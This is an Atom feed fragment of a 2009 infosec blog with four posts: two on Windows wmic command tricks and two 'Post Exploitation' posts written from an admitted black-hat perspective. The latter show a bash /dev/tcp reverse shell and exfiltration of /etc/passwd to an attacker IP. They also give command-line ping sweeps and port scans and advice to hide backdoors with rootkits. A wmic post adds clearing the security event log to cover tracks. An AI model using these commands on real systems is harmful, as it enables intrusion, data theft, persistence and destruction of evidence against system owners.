Novice'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-3400259044504116596</id><published>2009-03-17T04:49:00.000-07:00</published><updated>2009-03-17T04:56:55.927-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kung fu'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Windows Commandline KungFu Part 2</title><content type='html'>If you check out wmic has many good feature that we never use. Since I like commandline very much I am always upto commands and keybord shortcuts. :D&lt;br /&gt;&lt;br /&gt;Now some more info about wmic...&lt;br /&gt;If you use command&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic /?&lt;/span&gt;&lt;br /&gt;Then you would get a list of attributes and all the settings for given alias.&lt;br /&gt;&lt;br /&gt;For example type&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt;wmic share list full&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;AccessMask=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;AllowMaximum=TRUE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Description=Remote IPC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;InstallDate=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;MaximumAllowed=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Name=IPC$&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Path=&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Status=OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Type=-2147483645&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Good ? not enough but there is more wmic is object oriented , so you've got attributes and methods. Attributes are cool, letting you get info about your box and tweak it a bit, but methods let you take action on a box, giving you real power.&lt;br /&gt;&lt;br /&gt;For example&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic process where name="cmd.exe" call getowner&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Or, even:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic process where name="cmd.exe" call getownersid&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nice ! isnt it ?&lt;br /&gt;&lt;br /&gt;Second Example : We want a built in command to reboot or shutdown windows box accross the network. Try this&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic os where buildnumber="2600" call reboot&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Third example get parameter (Atrribute of object)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt;wmic nic get macaddress,name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You want interface-related methods? Check these out:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic nicconfig call setdefaultttl 200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic nicconfig call settcpwindowsize 3212&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Those change the IP TTL and TCP Window size from default settings to something else, possibly fooling some forms of passive OS fingerprinting. Be careful with them, though... changing those settings could hose your network performance, make your system ugly, and make your hair fall out. &lt;span style="color:#ff0000;"&gt;&lt;b&gt;You have been warned!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now how about some nasty example :D&lt;br /&gt;Like from POST Exploitation ;)&lt;br /&gt;&lt;br /&gt;you could:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic nteventlog where (description like "%secevent%") call cleareventlog&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Guess what it would do ????&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or events like those associated with logging onto the box:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic ntevent where (message like "%logon%") list brief&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fifth, here is one that could be useful for handlers:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt;wmic netlogin where (name like "%neo%") get numberoflogons&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;NumberOfLogons&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;1760&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Where neo is username offcourse.&lt;br /&gt;&lt;br /&gt;you can use methods associated with "wmic service" to change the service configuration, as in:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic service where (name like "Fax" OR name like "Alerter") CALL ChangeStartMode Disabled&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//Spot odd executables&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;//Look at services that are set to start automatically&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic SERVICE WHERE StartMode="Auto" GET Name, State&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;//Find user-created shares (usually not hidden)&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic SHARE WHERE "NOT Name LIKE '%$'" GET Name, Path&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;//Find stuff that starts on boot&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic STARTUP GET Caption, Command, User&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;//Identify any local system accounts that are enabled (guest, etc.)&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\&gt; wmic USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoyyyyy....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-3400259044504116596?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/3400259044504116596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=3400259044504116596' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3400259044504116596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3400259044504116596'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/03/windows-commandline-kungfu-part-2.html' title='Windows Commandline KungFu Part 2'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-2762808935802238691</id><published>2009-03-15T22:50:00.000-07:00</published><updated>2009-03-15T23:01:36.202-07:00</updated><title type='text'>Windows Commandline KungFu Part 1</title><content type='html'>When I first attended training by ed on commandline kungFu I was just amzed.&lt;br /&gt;&lt;br /&gt;Well bassically commandline KungFu is more about windows commandline since linux already has extremly powerfull commandline so need to go to that side.&lt;br /&gt;&lt;br /&gt;Lots of people dont know or ignore the power of wmic commands, we will start with wmic command which will allow us some stuff that we always do on linux.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic process [pid] delete&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That's the rough equivalent (for you UNIX/Linux minded folks) of "kill -9 [pid]".&lt;br /&gt;&lt;br /&gt;Or, better yet, try this one on for size:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic process where name='cmd.exe' delete&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I love that one! It functions something like "killall -9 cmd.exe" would on a Linux box, where killall lets you kill processes by name.&lt;br /&gt;&lt;br /&gt;And, check this out:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic process list brief /every:1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sort of like (but not exactly) the Linux/UNIX top command.&lt;br /&gt;&lt;br /&gt;But, wait! There's more...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic useraccount&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This one gives a lot more detail than the old "net user" command. With "wmic useraccount" you get user names, SIDs, and various security settings.&lt;br /&gt;&lt;br /&gt;Fun, fun, fun! Here's another:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic qfe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This one shows all hotfixes and service packs. qfe doesn't stand for Quad Fast Ethernet... It stands for Quick Fix Engineering in this context.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic startup list full&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It shows a whole bunch of stuff useful in malware analysis, including all files loaded at Startup and the reg keys associated with autostart.&lt;br /&gt;&lt;br /&gt;C:\&gt; wmic process list brief | find "cmd.exe"&lt;br /&gt;&lt;br /&gt;That works a little like a Linux "ps -aux | grep cmd.exe".&lt;br /&gt;&lt;br /&gt;So, I run it as I show above, piping its output through sort, find, findstr, etc.&lt;br /&gt;&lt;br /&gt;C:\&gt; wmic /output:[file] [stuff you want it to do] /format:[format]&lt;br /&gt;&lt;br /&gt;Numerous formats are supported, including HTML format (hform), CSV, XSL, and so on. So, check this out:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic /output:c:\os.html os get /format:hform&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, open c:\os.html in a browser, and soak in that beautiful output. Ooooohhhh. Ahhhhhhh.&lt;br /&gt;&lt;br /&gt;For a list of format types supported by WMIC, you could type:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic [stuff to do] /format /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As in:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic process list /format /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Going further, there is ability to pull lists of attributes and output them nicely, as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; wmic /output:c:\temp.html os get name,version /format:htable.xsl &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-2762808935802238691?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/2762808935802238691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=2762808935802238691' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2762808935802238691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2762808935802238691'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/03/windows-commandline-kungfu-part-1.html' title='Windows Commandline KungFu Part 1'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-8977921907763184436</id><published>2009-01-29T03:18:00.000-08:00</published><updated>2009-01-29T23:33:29.311-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='port scanenr'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='nc'/><category scheme='http://www.blogger.com/atom/ns#' term='ping sweep'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Post Exploitation 2</title><content type='html'>We had discussion going on the topic Post exploitation when I realized that in my first post I didnt put any special things on windows.  So I am adding that information in this second post on this topic.&lt;br /&gt;&lt;br /&gt;Like lots of people dont know that there are FOR loop on windows command line using which we can have a ping sweep or port scan from cmd without any thirdparty tools.&lt;br /&gt;&lt;br /&gt;Ex.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ping Sweep: Using following command we can run a ping sweep&lt;/span&gt;&lt;br /&gt;FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"&lt;br /&gt;&lt;br /&gt;This command will run a ping sweep on 10.10.10.0/24&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Command line port scanner using ftp client:&lt;/span&gt;&lt;br /&gt;The windows ftp client can be used as a port scanner.&lt;br /&gt;But&lt;br /&gt;C:\&gt; ftp [IP_address]&lt;br /&gt;This is not allowing to put port number and defaults to port 21 for connection.&lt;br /&gt;But... we can specify a destination port in a ftp command file&lt;br /&gt;- open [IP_addr] [port]&lt;br /&gt;&lt;br /&gt;FTP client then can read this ftp commands file and execute them.&lt;br /&gt;&lt;br /&gt;C:\&gt; ftp -s:[filename]&lt;br /&gt;&lt;br /&gt;So using this and FOR loop together...&lt;br /&gt;&lt;br /&gt;for /L %i in (1,1,1024) do echo open [IPaddr] %i &gt; ftp.txt &amp;amp; echo quit &gt;&gt; ftp.txt &amp;amp; ftp -s:ftp.txt 2&gt;&gt;ports.txt&lt;br /&gt;&lt;br /&gt;Now the ports.txt will have output of the port scanner.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;One more option in the FOR command let us use file as input &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ex. There is file with name PTips.txt containing one IP address each line&lt;br /&gt;so following command will iterate through the file.&lt;br /&gt;&lt;br /&gt;FOR /F "delims=^" %i in (PTips.txt) do ping %i&lt;br /&gt;&lt;br /&gt;C:\&gt;ping 222.222.222.222&lt;br /&gt;Pinging 222.222.222.222 with 32 bytes of data:&lt;br /&gt;Reply from 222.222.222.222: Destination net unreachable.&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;div class="para"&gt;&lt;span style="font-weight: bold;"&gt;One more addition&lt;/span&gt;&lt;br /&gt;Having only cmd in windows does put lot of restrictions.&lt;br /&gt;Lots of time I miss the simple commands like in linux to get HTML pages.&lt;br /&gt;Can we download HTML pages on windows without Browser ???&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;&lt;b&gt; Yes We Can &lt;/b&gt;&lt;br /&gt;The problem with telnet is it dont allows us to redirect the output or screen to some file...&lt;br /&gt;So... so we use -f for creating log of the telnet session.&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ex. Windows telnet as simple HTTP GET tool&lt;/span&gt;&lt;br /&gt;C:\&gt; telnet -f log.txt&lt;br /&gt;Welcome to Microsoft Telnet Client&lt;br /&gt;Escape Character is 'CTRL+]'&lt;br /&gt;Microsoft Telnet&gt;o in.yahoo.com 80&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;Microsoft Telnet&gt;sen GET / HTTP/1.0&lt;br /&gt;...&lt;br /&gt;Html contents will scroll down all of sudden but dont worry,&lt;br /&gt;all that content will be saved to the log file: log.txt&lt;br /&gt;There you go. &lt;/div&gt;&lt;br /&gt;&lt;!--ONESTAT SCRIPTCODE START--&gt;&lt;br /&gt;&lt;!--&lt;br /&gt;// Modification of this code is not allowed and will permanently disable your account!&lt;br /&gt;// Account ID : 507937&lt;br /&gt;// Website URL: http://google.com&lt;br /&gt;// Copyright (C) 2002-2007 OneStat.com All Rights Reserved&lt;br /&gt;--&gt;&lt;br /&gt;&lt;div id="OneStatTag"&gt;&lt;table border='0' cellpadding='0' cellspacing='0'&gt;&lt;tr&gt;&lt;td align='center'&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--&lt;br /&gt;function OneStat_Pageview()&lt;br /&gt;{&lt;br /&gt;    var d=document;&lt;br /&gt;    var sid="507937";&lt;br /&gt;    var CONTENTSECTION="";&lt;br /&gt;    var osp_URL=d.URL;&lt;br /&gt;    var osp_Title=d.title;&lt;br /&gt;    var t=new Date();&lt;br /&gt;    var p="http"+(d.URL.indexOf('https:')==0?'s':'')+"://stat.onestat.com/stat.aspx?tagver=2&amp;sid="+sid;&lt;br /&gt;    p+="&amp;url="+escape(osp_URL);&lt;br /&gt;    p+="&amp;ti="+escape(osp_Title);&lt;br /&gt;    p+="&amp;section="+escape(CONTENTSECTION);&lt;br /&gt;    p+="&amp;rf="+escape(parent==self?document.referrer:top.document.referrer);&lt;br /&gt;    p+="&amp;tz="+escape(t.getTimezoneOffset());&lt;br /&gt;    p+="&amp;ch="+escape(t.getHours());&lt;br /&gt;    p+="&amp;js=1";&lt;br /&gt;    p+="&amp;ul="+escape(navigator.appName=="Netscape"?navigator.language:navigator.userLanguage);&lt;br /&gt;    if(typeof(screen)=="object"){&lt;br /&gt;       p+="&amp;sr="+screen.width+"x"+screen.height;p+="&amp;cd="+screen.colorDepth;&lt;br /&gt;       p+="&amp;jo="+(navigator.javaEnabled()?"Yes":"No");&lt;br /&gt;    }&lt;br /&gt;    d.write('&lt;a href="http://www.onestatfree.com/aspx/login.aspx?sid='+sid+'" target=_blank&gt;&lt;img id="ONESTAT_TAG" border="0" src="'+p+'" alt="This site tracked by OneStatFree.com. Get your own free site tracker."&gt;&lt;/'+'a&gt;');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;OneStat_Pageview();&lt;br /&gt;//--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;noscript&gt;&lt;br /&gt;&lt;a href="http://www.onestatfree.com"&gt;&lt;img border="0" src="http://stat.onestat.com/stat.aspx?tagver=2&amp;amp;sid=507937&amp;amp;js=No&amp;amp;" ALT="web hit counter"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/noscript&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align='center'&gt;&lt;div style="COLOR:black;display:none;FONT-FAMILY:'Verdana';"&gt;&lt;a href="http://www.onestat.com" style="text-decoration:none;"&gt;web hit counter&lt;/a&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;!--ONESTAT SCRIPTCODE END--&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-8977921907763184436?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/8977921907763184436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=8977921907763184436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8977921907763184436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8977921907763184436'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/01/post-exploitation-2.html' title='Post Exploitation 2'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-5308193837864282040</id><published>2009-01-27T03:04:00.000-08:00</published><updated>2009-01-27T04:40:23.455-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkit'/><category scheme='http://www.blogger.com/atom/ns#' term='post'/><category scheme='http://www.blogger.com/atom/ns#' term='exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='white hat'/><category scheme='http://www.blogger.com/atom/ns#' term='black hat'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Post Exploitation...</title><content type='html'>One of my fren asked that "scenario is that you have gotta interactive shell on remote machine (linux/windows) with admin privileges (not semi interactive like c99, r57 etc. i.e. suppose you have got the command prompt / console)"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Now what do you think you would be doing as "POST EXPLOITATION" to have complete control over the server.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As per his request my answer is from black hat perspective...&lt;br /&gt;&lt;br /&gt;After getting access to any victim machine most important thing is to maintain access. And a hacker should do all things necessary to maintain access.&lt;br /&gt;&lt;br /&gt;I had herd comment from some one that he would install some service like VNC. Ofcourse this is lame answer according to me. But it draws attention to a basic point should we install some different backdoor ? I would rather suggest use of the existing service as backdoor instead of creating a new one. Becuase at this point we have to consider the fact that normally there would be some firewall in between attacker and the victim. So creating a new backdoor might not be usefull if the firewall is not allowing that service to accept connections. Anyways installing new backdoor means more files transfered to the victim, therefore more chances of getting detected.&lt;br /&gt;&lt;br /&gt;If one want to use the backdoor then it should be used with addition of root kit ofcourse.&lt;br /&gt;E.g.&lt;br /&gt;Windows Rootkit ex. AFX Windows Rootkit: This rootkit will hide processes, files, folders&lt;br /&gt;registry keys and netstat entries from Windows 95/98/ME/NT/2k/XP/2003&lt;br /&gt;&lt;br /&gt;Linux Rootkits: No particular examaple I am giving, there are lots of which hide processes,files etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using Inbuild linux Tools instead of external backdoors&lt;/span&gt;&lt;br /&gt;For linux I would rather use the inbuild tools in linux to do things for me.&lt;br /&gt;Most importatnt reason for this is "No external tool mean nothing for detect for antivirus" B-)&lt;br /&gt;&lt;br /&gt;On most Linux variants (except Debian-derived systems like Ubuntu), the default built-in bash can redirect to and from /dev/tcp/[IPaddr]/[port]&lt;br /&gt;Ex.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;Victim&gt;echo "Hello WOrld" &gt; /dev/tcp/10.10.10.66/2345&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Attacker&gt;nc -l -p 2345&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Hello WOrld&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Not Imressed then look at this&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;Victim&gt;cat /etc/passwd &lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&gt; /dev/tcp/10.10.10.66/2345&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-family:courier new;"&gt;Attacker&gt;nc -l -p 2345&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root:x:0:0:root:/root:bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;bin:x:1:1:bin:/bin:/sbin/nologin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 204, 204);font-family:arial;" &gt;Transfer file without using even &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(204, 204, 204);font-family:arial;" &gt;nc&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(204, 204, 204);font-family:arial;" &gt;&lt;span style="font-family:arial;"&gt;Ok file transfer could be done What else do I want to do on my rooted box ?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;have Backdoor shell,Scan for other Machines can we do that without external tools ???&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);font-family:arial;" &gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Of course we can&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;How ??&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Linux /dev/tcp .... is the key&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Victim$&gt;/bin/bash -i &lt;span style="font-family:courier new;"&gt;&gt; /dev/tcp/10.10.10.66/2345&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 0&lt;&amp;amp;1 2&gt;&amp;amp;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-family:courier new;"&gt;Attacker&gt;nc -l -p 2345&lt;br /&gt;victim@linux:~$&lt;span style="font-weight: bold;"&gt;whoami&lt;br /&gt;user12&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);font-family:arial;" &gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:arial;" &gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(204, 204, 204);font-family:arial;" &gt;Now Port scanning...&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);font-family:arial;" &gt;you guessed correct /dev/tcp   :D&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;$ echo &lt;span style="font-family:courier new;"&gt;&gt; /dev/tcp/10.10.10.66/25&lt;br /&gt;bash: connect: Connection Refused&lt;br /&gt;bash: &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;span style="font-family:courier new;"&gt;/dev/tcp/10.10.10.66/25: Connection refused&lt;br /&gt;&lt;br /&gt;$ echo &gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;span style="font-family:courier new;"&gt;/dev/tcp/10.10.10.66/80&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;&lt;span style="font-family:courier new;"&gt;$ #Command successful means port 80 is listening&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;This is just some example you can go ahead with you own tricks...&lt;/span&gt;  &lt;span style="color: rgb(204, 204, 204);"&gt;So this concludes some of the things ( only some of things.. ;) ) I would do &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(204, 204, 204);"&gt;Post Exploitation&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-5308193837864282040?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/5308193837864282040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=5308193837864282040' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/5308193837864282040'/><link rel='self' 